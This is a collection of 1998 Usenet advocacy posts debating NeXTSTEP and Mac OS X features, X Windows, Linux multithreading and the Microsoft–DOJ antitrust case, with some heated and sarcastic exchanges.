> app it "belongs" to (just like the MacOS "Info" panel does), and then
> have a popup menu of apps which can open that file type, and a "set
> to defaults" button. Does NeXTSTEP do something like this? If not,
> OSX should.
Did you read my first post to this thread and not understand it? Did you
even read it at all?
Go back to the thread: NEXTSTEP, OPENSTEP, and Mac OS X all do this,
_exactly_. They also do the folder thing you described. In fact, I can't
help but wonder if Mac OS 8.5 didn't inherit that feature from the NeXT
software, at least the concept if not the implementation...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Message-ID: <petrichF411LA.D5w@netcom.com>
Organization: Netcom
References: <73iop0$29t@crab.afs.com> <ckoller-ya02408000R1412981232380001@netnews.worldnet.att.net>
Date: Tue, 15 Dec 1998 22:10:22 GMT
Sender: petrich@netcom18.netcom.com
In article <ckoller-ya02408000R1412981232380001@netnews.worldnet.att.net>,
Craig Koller <ckoller@worldnet.att.net> wrote:
>It's not common at all. Most "common" people associate MacOS 8.X with Apple
>right now. Jobs has done an effective job at raising the awareness of MacOS
>over Rhapsody/OS X, in order to make sure Apple doesn't "Osborne" itself
>into red ink and further embarrassment.
That's ruining current sales by hyping something that one's
company is not yet ready to produce.
[Rhapsody -> MacOS X...]
The trick there was to come up with "Carbon", a slimmed-down
version of the MacOS API that would be suitable for running in a
preemptive-multitasked and protected-memory environment. This enabled
Adobe Photoshop, a rather big app, to be ported in 5 days.
>As far as the delay in MacOS X Server, market demands are the main culprit
>here. [on improved Blue Box support and extra features...]
Let's hope that Apple finds an opportune moment to announce it in
the next few months; there is a rumor that Apple will not be releasing it
in time for the Macworld Expo, because of its announcing there the
upcoming "Yosemite" systems.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Linux Multithreading?
Message-ID: <petrichF411vD.DJK@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de> <y1un24qozb2.fsf@acuson.com> <slrn77dn6d.j4m.float@interport.net>
Date: Tue, 15 Dec 1998 22:16:25 GMT
Sender: petrich@netcom18.netcom.com
In article <slrn77dn6d.j4m.float@interport.net>,
void <float@interport.net> wrote:
>On 14 Dec 1998 19:32:17 -0800, Darin Johnson <darin@usa.net.nospam>
>wrote:
>>Are there any comparisons of SMP on Sparc Solaris versus Sparc Linux?
>I haven't used Linux on SPARCs, but AFAIK Linux/SPARC has the same
>problems with SMP that Linux/x86 has. These are not low-level hardware
>issues so much as issues of synchronization and threading in the kernel.
The big problem is that when a kernel is initially designed for a
single processor, it may not be designed for multithreading. And part of
such a design is enforcing exclusive access to various data structures.
The original SMP design for Linux involved enforcing exclusive
access to the entire kernel; if a process on one chip had called the
kernel, then the processes on the other chips would have to wait until
that first process had finished with its kernel call.
Current work in Linux SMP involves breaking up exclusive-access
enforcement into much smaller chunks.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: agave_@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
Date: Tue, 15 Dec 1998 22:11:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <756mpp$sb$1@nnrp1.dejanews.com>
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu>
In article <GOyd2.1558$4w2.6884159@news.itd.umich.edu>,
"Jin Kim" <kwazyjin@hotmail.com> wrote:
>
> So, what are your opinion on this issue? Do any of you have
> benchmarks of NeXTStep/OpenStep vs. monolithic UNIX on similar
> hardware?
>
NEXTSTEP and OPENSTEP/Mach are both monolithic. Avie Tevanian has
stated that Apple will not go to a true microkernel architecture with MacOS X
due to performance considerations. Micro- vs monolithic kernel is an
interesting academic discussion but not much more.
-Ian
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: agave_@hotmail.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Performance issue with microkernel based OS
Date: Tue, 15 Dec 1998 22:11:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <756mph$s5$1@nnrp1.dejanews.com>
References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu>
In article <GOyd2.1558$4w2.6884159@news.itd.umich.edu>,
"Jin Kim" <kwazyjin@hotmail.com> wrote:
>
> So, what are your opinion on this issue? Do any of you have
> benchmarks of NeXTStep/OpenStep vs. monolithic UNIX on similar
> hardware?
>
NEXTSTEP and OPENSTEP/Mach are both monolithic. Avie Tevanian has
stated that Apple will not go to a true microkernel architecture with MacOS X
due to performance considerations. Micro- vs monolithic kernel is an
interesting academic discussion but not much more.
-Ian
-----------== Posted via Deja News, The Discussion Network ==----------
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From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 15 Dec 1998 21:16:17 GMT
Organization: MiscKit Development
Message-ID: <756jj1$rc$1@news.xmission.com>
References: <distler-1512981236450001@192.168.0.1> <19981215144127.29613.00002706@ng55.aol.com>
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willadams@aol.com (WillAdams) wrote:
> distler@golem.ph.utexas.edu (Jacques Distler) said:
> (regarding default file associations)
> <<And there's no way to set this on a per-file basis. >>
>
> and
>
> <<
> But if the Application isn't running, and isn't in the Dock, command-
> dragging a document won't launch it (unlike, eg, in the current MacOS
> Finder).>>
>
> That's what the Workspace tool inspector palette is for--offers a
> scrolling list of all available apps associated with a given file
> extension.
Yes, and that solves the problem for *most* cases. But in my post I did
mention that while the whole setup works pretty well, I would like to see
some additions and changes, though I never listed any of them. I personally
think that there are tons of ways that WorkSpace.app could be improved upon.
One of those would be the ability to set the default app used to open a file
on a per-directory and a per-file basis, and not just as a global (for the
user) default. The per-directory would be very useful.
For example, I'd like to have OmniWeb be the default app for HTML docs on my
machine, except that anything in my web staging server's htdocs directory
should be opened in Edit, since those HTML docs are the ones I'd creating,
whereas the other HTML on my system is stuff where I'd probably rather just
view fully rendered versions. That sort of setup would be really handy, for
me at least.
While the inspector panel and command dragging icons can override the
defaults in a clean fashion, using them is a one-shot thing and not quite
what I'd consider perfection. It is a good start, but I'd like to see Apple
build upon that and go on to do something more with it.
[ Technical stuff about possible implementations follows; probably not of
interest to the general topic at hand... ]
Now, as to the per-file customization, that's tricky because I don't see a
clean way to implement that; the best implementation of that sort of thing
I've seen is the Mac's approach of a creator type--but that has a myriad
problems with it, especially when you move into a multi-user environment like
Mac OS X will be. This is the sort of thing that seems like it should be
stored with the file in question, but yet, different users will probably want
to be using different tools on the same file, so it really ought to be set
some other way.
This problem is reminiscent of the problems you can have with muliple users
changing the way a directory is viewed (in the .dir.wmd used by WorkSpace)
since there's only one of them, and a change by one user affects what every
user sees. There really should be a .username.dir.wmd file instead...which
would also be a nice place to store per-directory file type/tool
associations, as it turns out.
I've thought about this stuff a bit because I've been thinking about creating
my own file viewer program ("Finder" or whatever you want to call it) that
does what _I_ would like to see, using the data from WorkSpace.app, but
expanding upon it. There's enough of the GUI bits and pieces in the MiscKit
now that such a project becomes possible...and done in cooperation with the
GNUStep folks could be a Really Good Thing (TM).
And Tomi's TheShelf is an interesting sideways step with some of this stuff,
too...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: cmd@eskimo.com (Craig Dowell)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 15 Dec 1998 22:13:54 GMT
Organization: Liver Donors, Inc.
Message-ID: <756mv2$m7n$1@eskinews.eskimo.com>
References: <36717987.21076075@news2.asan.com> <F3tJJB.9x@T-FCN.Net> <36718b58.25637024@news2.asan.com> <pxpst2-1312981209280001@pelli.pathology.pitt.edu>
Peter <pxpst2@unixs.cis.pitt.edu> wrote:
>In article <36718b58.25637024@news2.asan.com>, willy1@rocketmail.com
>(Willy) wrote:
>
>> Are you joking? Maybe you should read the ruling:
>> http://www.cadc.uscourts.gov/common/opinions/199806/97-5343a.txt
>>
>> "On the facts before us, however,
>> we are inclined to conclude that the Windows 95/IE package
>> is a genuine integration; consequently, s IV(E)(i) does not
>> bar Microsoft from offering it as one product."
>
>Yes that is what the Justices said but they also added at the end theat
>this ruling could change in the future if evidence shows this not to be
>the case. And with the use of "experts" and the MS dictionary, I would say
>that the evidence is strong that this is not integration.
I would say that the definition of an operating system found in glossaries
and in your generic intro to operating systems classes have very little to
do with any marketable product that exists today. An operating system
today exists primarily as a convenient widget which provides a constant,
capable environment to application programmers. The nightmares of
combinatorial explosions of dependencies have been largely eliminated
as "operating systems" subsume more and more commonly used functionality.
You can take an application written for a modern OS and not have to worry
about either a) paying for duplicate low-level functionality developed and
provided by the application to ensure that all dependencies are resolved;
or b) having to go out and find and install various and sundry modules
in order to get the app you just bought working.
I would be very, very careful about wishing for a situation where the
OS consisted entirely of resource management again. I remember that world;
it was not pleasant at all.
As an aside, I looked up the definition of automobile in my dictionary.
It says:
automobile noun
A self-propelled passenger vehicle that usually has four wheels and an
internal-combustion engine, used for land transport. Also called motorcar.
No mention of radios, glove boxes, air conditioners, cigarette lighters,
trunks, spare tires, windshield wipers, headlights, windshield defrosters
or seatbelts. Who in their right mind would assert that because the
dictionary doesn't mention them, GM must not include them and Grandma
would have more choice if she could get the headlights from someone else.
Only a CS professor. Imagine the chaos. Everyone would have a choice,
but I dare say, most people would just have a vehicle with four wheels
and an internal-combustion engine since they wouldn't want to, or be able
to deal with, building their own.
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 15 Dec 1998 22:25:57 GMT
Message-ID: <slrn77dofk.j4m.float@interport.net>
References: <36717987.21076075@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com>
NNTP-Posting-Date: 15 Dec 1998 22:25:57 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On Tue, 15 Dec 1998 15:07:34 -0600, Michael Peck
<michael.peck@ericsson.com> wrote:
>
>No, not just like business leaders. Unless I voluntarily give them leave
>to do so, there are no "business leaders" who speak and act for me. Are
>there business leaders who speak and act for you? How do they do that?
Yes. The ones who subvert the political process in the U.S.A (where I
live) with campaign donations and lobbying, legally and illegally.
>Why do you let them do this thing?
Hrmph. I'd like to stop them, which is why I'm in favor of campaign
finance reform. But this is *far* afield from unix advocacy ...
--
Ben
"You have your mind on computers, it seems."
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 16:24:12 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676E18C.9C5626BF@ericsson.com>
References: <36717987.21076075@news2.asan.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com>
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Loren Petrich wrote:
> >No, not just like business leaders. Unless I voluntarily give them leave
> >to do so, there are no "business leaders" who speak and act for me. Are
> >there business leaders who speak and act for you? How do they do that?
> >Why do you let them do this thing?
>
> What you describe is true of the other "elites" you complain
> about -- you don't have to pay any attention to them if you don't want to.
Eh, what's that? I don't have to pay attention to presidents and
congressional members? I pay them taxes, I observe their speed limits, I
filled out their Selective Service forms, I lost two great-grandparents
to their wars...but you say I shouldn't pay any attention to them if I
don't want to.
Heh, heh. Believe me, I'd love it if that were possible. Tell starving
Muscovites to "just ignore the 'elites'". Tell Haiti's victims of
continual violence, fires, police brutality, and coup attempts to ignore
Jean-Baptiste Aristide, he doesn't have to affect your life...
Hell, you started it. Comparing "business leaders" to political
hatchetmen, wow. Gotta be freakin' out of your head to make that
comparison. You decide.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 15 Dec 1998 16:34:11 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676E3E3.C0160448@ericsson.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> So will I. With the exception of X, I basicly agreed with you that everything
> you listed was something I'd want in a "good unix".
>
> But hey, the latest build of MOXS I saw had bash and tcsh and zsh and even
> perl in /usr/bin (and wget too), and nifty GNU utils like less and patch (GNU
> <- Larry Wall, if you like), and you've got a modern NFS implementation and
> working POSIX and pretty much everything else one might find in a BSD 4.4
> system like OpenBSD or FreeBSD. There was kerberos stuff there, and gzip and
> gnutar, and a JDK, and so forth.
Unbelievable. Not literally, of course, just...very interesting.
> Hey-- maybe there won't be pthreads (dunno, I haven't bothered to look) or
> something like that. But almost all of what you asked is there.
It would be good if OS X developers were able to get a headstart using
pthreads in preparation for multi-processing hardware. These days
threads are really important, even for GUI software; perhaps the next
major period of OS X development should focus on re-entrance as a goal.
> Perhaps. Or maybe someone'll ship a trial version of the third-party CD.
Yeah, but...what would that accomplish? I need a system that runs X
software...what's this, a trial version? What the hell good does this do
me?
> Still, there's no common ground on the necessity of X; I chose to use the best
> windowing I saw available back around 1989, about when CMU's "wm" was still in
> active use, and MIT was just about to do a major revision to largely student-
> driven research project called X10, and then I ran into a company called NeXT
> that made even the MacOS GUI second-rate.
We've been around this one, and I think we both know that advocacy isn't
a part of this discussion, Chuck. If preferences determined what were
included in Mac OS X, would you include Carbon and/or the Blue Box in
the first place? Of course not.
> At best, the existance of a KDE or a Tk or even a X11 DPS extension represents
> a tiny minority of creative, desirable tools within an otherwise bloated,
> misdesigned, overengineered, and dreary monstrosity that should've stayed an
> academic project.
One word, Chuck: remotability. Does Mac OS X have it? No.
Now imagine a Mac OS X service that will remote eQD programs via the X
Protocol (or a compressed derivative, like X.Fast) to *any* X server in
existence. Just an idea. Call it the ultimate app server. NT already
does this; you want to compete in that market, I think this is a very
good idea.
MJP
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 23:32:57 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3676F1A9.8B679633@digiscape.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com>
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Joe Cosby wrote:
>
> ** To reply in e-mail, remove "pyszuk." from address **
>
> ALSO SPRACH Willy:
> > I think it's looking real good for Microsoft. Here's why:
> >
> > The DOJ hasn't presented any evidence of actual anti-trust type
> > behavior; that is, evidence that Microsoft has bullied people or
> > companies into doing what they want. The only evidence they have is
> > the integration (or tying, as the DOJ calls it) of IE into Windows.
> > However, regardless of MS's intent, the Appellate Court of DC ruled
> > that this particular tying is legal.
> >
> > The DOJ is presenting an amazing amount of irrelevant evidence. For
> > instance:
> >
> > The definition of an OS - Completely irrelevant. There's nothing
> > within the laws regarding product tying that takes the definition of a
> > product into account. A monopoly can legally tie two products
> > together without the two products being viewed as one product.
> >
> > Apple/Quicktime issue - Completely irrelevant. Even if Microsoft had
> > done what was claimed, Microsoft would be guilty of leveraging their
> > Office monopoly. However, Office was dropped from the suit. At no
> > time did Microsoft ever leverage their OS monopoly against Apple.
> >
> > AOL agreement - This was a huge mistake for the DOJ. They actually
> > state (in their charges) that Microsoft forced AOL into an agreement.
> > Then the AOL prez gets on the stand and states that they used IE for
> > technical reasons. Further, AOL just bought Netscape and it's clear
> > that the agreement between AOL and Microsoft will not be renewed.
> > Sure, Microsoft has it all over AOL. Yeah right.
> >
> > Java? Well, regardless of merits of Microsoft's Java arguments, it
> > looks like Microsoft has the Judge in their corner on this one.
> >
> > The DOJ has also made confusing statements. For instance, they claim
> > that the price of the operating system has remained the same, proving
> > that MS has a monopoly. But then they claim that IE isn't free, but
> > paid for in the price of the OS. Well excuse me, but if I pay for IE
> > in the price of Windows, then the price of Windows must be less than
> > previous OSes. If the price of the Windows is the same as previous
> > OSes, then IE must be free. Sorry DOJ, you can't have it both ways.
> > Pick one.
> >
> > Am I wrong? Where's the evidence? Where's the e-mail from a
> > Microsoft VP saying "make AOL use IE" or "force those ISPs to sign an
> > exclusive agreement." ? They're just not there.
> >
> > I predict that Microsoft will lose the trial because of emotion, but
> > will win on appeal, where they actually consider the evidence (or lack
> > thereof.).
>
> I don't know who's winning, but this case has brought a lot of Micro$oft
> ugliness to the public eye. A lot of strong arm tactics and weaselly
> behaviour that the public would never have known about, and probably
> not have believed, has been front-page news.
>
People don't care. I don't see people saying 'boycott MS' because it
will force them to use a real OS were they'll have to have atleast a
basic understanding of their computer. The general public is stupid and
as long as they have pretty colors to keep them happy, it won't change.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@l
From: bhurt@visi.com (Brian Hurt)
Message-ID: <y_Bd2.2259$WZ6.5991229@ptah.visi.com>
Date: Tue, 15 Dec 1998 23:09:18 GMT
NNTP-Posting-Date: Tue, 15 Dec 1998 17:09:18 CDT
pit@iohk.SPAM-NOT.com (taiQ) writes:
>On Mon, 14 Dec 1998 11:43:11, joe.ragosta@dol.net (Joe Ragosta)
>thought aloud:
>> Just curious--is this the same group of analysts who declared Apple dead
>> every year from 1984 to 1998 or have you found a different group of
>> analysts?
>You mean, in every other profession all would have been sacked for
>poor performance decades ago...? :^)
No. They have bright futures ahead of them as economists, politicians,
and religous leaders.
Brian
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 14:54:43 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77dq5j.l8s.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com>
On Tue, 15 Dec 1998 16:24:12 -0600, Michael Peck <michael.peck@ericsson.com> wrote:
>Loren Petrich wrote:
>
>> >No, not just like business leaders. Unless I voluntarily give them leave
>> >to do so, there are no "business leaders" who speak and act for me. Are
>> >there business leaders who speak and act for you? How do they do that?
>> >Why do you let them do this thing?
>>
>> What you describe is true of the other "elites" you complain
>> about -- you don't have to pay any attention to them if you don't want to.
>
>Eh, what's that? I don't have to pay attention to presidents and
>congressional members? I pay them taxes, I observe their speed limits, I
>filled out their Selective Service forms, I lost two great-grandparents
>to their wars...but you say I shouldn't pay any attention to them if I
>don't want to.
>
>Heh, heh. Believe me, I'd love it if that were possible. Tell starving
>Muscovites to "just ignore the 'elites'". Tell Haiti's victims of
>continual violence, fires, police brutality, and coup attempts to ignore
>Jean-Baptiste Aristide, he doesn't have to affect your life...
>
>Hell, you started it. Comparing "business leaders" to political
>hatchetmen, wow. Gotta be freakin' out of your head to make that
>comparison. You decide.
At least the politician has to pay some lip service
to the constraints that are supposed to govern them.
Whereas, 'corporate strongmen' get that nice 'but
business is supposed to be amoral' loophole.
If you don't think they take advantage of it to similar
effect (as a political strongmen) you are rather naive.
They ALL need their checks...
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 15 Dec 1998 21:35:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <756kn2$unk$1@nnrp1.dejanews.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net>
In article <3675C7C4.861C5575@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>> Of course not. MJP's list was his opinion of "what is a good Unix".
>>
>> Excluding the X Windows category, MOXS meets very nearly every single
>> criteria listed.
>
> I'm sure you'll find this easy to believe: I tried very hard to list
> things that I thought would exclude Mac OS X. If you say that Mac OS X
> meets these criteria, I'm highly relieved.
So will I. With the exception of X, I basicly agreed with you that everything
you listed was something I'd want in a "good unix".
But hey, the latest build of MOXS I saw had bash and tcsh and zsh and even
perl in /usr/bin (and wget too), and nifty GNU utils like less and patch (GNU
<- Larry Wall, if you like), and you've got a modern NFS implementation and
working POSIX and pretty much everything else one might find in a BSD 4.4
system like OpenBSD or FreeBSD. There was kerberos stuff there, and gzip and
gnutar, and a JDK, and so forth.
Hey-- maybe there won't be pthreads (dunno, I haven't bothered to look) or
something like that. But almost all of what you asked is there.
>> I don't know what Apple's doing about X, but I'd imagine that X will
>> be available as an option or add-on product from Apple, and I know
>> third-party versions are around.
>
> I still think that that's a serious mistake; the omission of X Windows
> could well be the most important one.
Perhaps. Or maybe someone'll ship a trial version of the third-party CD.
Still, there's no common ground on the necessity of X; I chose to use the best
windowing I saw available back around 1989, about when CMU's "wm" was still in
active use, and MIT was just about to do a major revision to largely student-
driven research project called X10, and then I ran into a company called NeXT
that made even the MacOS GUI second-rate.
At best, the existance of a KDE or a Tk or even a X11 DPS extension represents
a tiny minority of creative, desirable tools within an otherwise bloated,
misdesigned, overengineered, and dreary monstrosity that should've stayed an
academic project.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 16 Dec 1998 00:22:03 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn77dv97.mnj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com>
NNTP-Posting-Date: 16 Dec 1998 00:22:03 GMT
On Tue, 15 Dec 1998 16:34:11 -0600, Michael Peck wrote:
:Charles Swiger wrote:
:
:> So will I. With the exception of X, I basicly agreed with you that everything
:> you listed was something I'd want in a "good unix".
:>
:> But hey, the latest build of MOXS I saw had bash and tcsh and zsh and even
:> perl in /usr/bin (and wget too), and nifty GNU utils like less and patch (GNU
:> <- Larry Wall, if you like), and you've got a modern NFS implementation and
:> working POSIX and pretty much everything else one might find in a BSD 4.4
:> system like OpenBSD or FreeBSD. There was kerberos stuff there, and gzip and
:> gnutar, and a JDK, and so forth.
:
:Unbelievable. Not literally, of course, just...very interesting.
It is nice. What's unfortunate is that this described NeXTSTEP in 1989.
Naturally the versions of everything were earlier, but at the beginning,
current for their time.
:> Hey-- maybe there won't be pthreads (dunno, I haven't bothered to look) or
:> something like that. But almost all of what you asked is there.
:
:It would be good if OS X developers were able to get a headstart using
:pthreads in preparation for multi-processing hardware. These days
:threads are really important, even for GUI software; perhaps the next
:major period of OS X development should focus on re-entrance as a goal.
Well, Mach in NeXTSTEP certainly had something pretty good. Don't know
if it is pthreads compatible, but the fundamental infrastructure was there
all along.
:> Perhaps. Or maybe someone'll ship a trial version of the third-party CD.
:
:Yeah, but...what would that accomplish? I need a system that runs X
:software...what's this, a trial version? What the hell good does this do
:me?
:
:> Still, there's no common ground on the necessity of X; I chose to use the best
:> windowing I saw available back around 1989, about when CMU's "wm" was still in
:> active use, and MIT was just about to do a major revision to largely student-
:> driven research project called X10, and then I ran into a company called NeXT
:> that made even the MacOS GUI second-rate.
:
:We've been around this one, and I think we both know that advocacy isn't
:a part of this discussion, Chuck. If preferences determined what were
:included in Mac OS X, would you include Carbon and/or the Blue Box in
:the first place? Of course not.
Sure, why not?
:> At best, the existance of a KDE or a Tk or even a X11 DPS extension represents
:> a tiny minority of creative, desirable tools within an otherwise bloated,
:> misdesigned, overengineered, and dreary monstrosity that should've stayed an
:> academic project.
:
:One word, Chuck: remotability. Does Mac OS X have it? No.
NeXTSTEP did. The lack of it in Mac OS X is an unfortunate
consequence of obstinate corporate ''partners'', and may be rectified.
:Now imagine a Mac OS X service that will remote eQD programs via the X
:Protocol (or a compressed derivative, like X.Fast) to *any* X server in
:existence. Just an idea.
A neat idea.
:MJP
Are you starting to try to understand why there is so much ''nostalgia'' for
NeXTSTEP still?? As a technological software design, it was very Right very
long ago.
Unfortunately, as a business....
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
####################################################################
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Tue, 15 Dec 1998 17:53:10 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676F666.9EB0E40C@ericsson.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com>
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Chris Welch wrote:
> People don't care. I don't see people saying 'boycott MS' because it
> will force them to use a real OS were they'll have to have atleast a
> basic understanding of their computer. The general public is stupid and
> as long as they have pretty colors to keep them happy, it won't change.
In other words...people are getting what they want, regardless of your
opinion.
How disgusting. Since when have we been letting people just make their
own damned decisions? Absolutely nauseating. Reminds me of all that
"Give me Liberty or give me death!" crap the Founding Fathers were
always spouting.
MJP
dle would something to the
effect of "we can't legislate against amoral business practices simply
because they're amoral; it's not our business to legislate morality",
and that you appear to disagree with that argument. Is that right?
You're going to have to be a bit more elucidatory when you make
arguments.
> If you don't think they take advantage of it to similar
> effect (as a political strongmen) you are rather naive.
Well, that clinches it, right? You've finished because you've played
your trump card: claiming opponent's naivete concerning matters which
desperately need your learned and highly-experienced attention?
*laughing*
Okay then, go outside and play with the other elite kiddies. Excellent
demonstration of Anointed form.
> They ALL need their checks...
Ooops, there's that rhetoric minefield again...
MJP
Message-ID: <3676FADF.FA3D9169@klassy.com>
Date: Tue, 15 Dec 1998 16:12:15 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
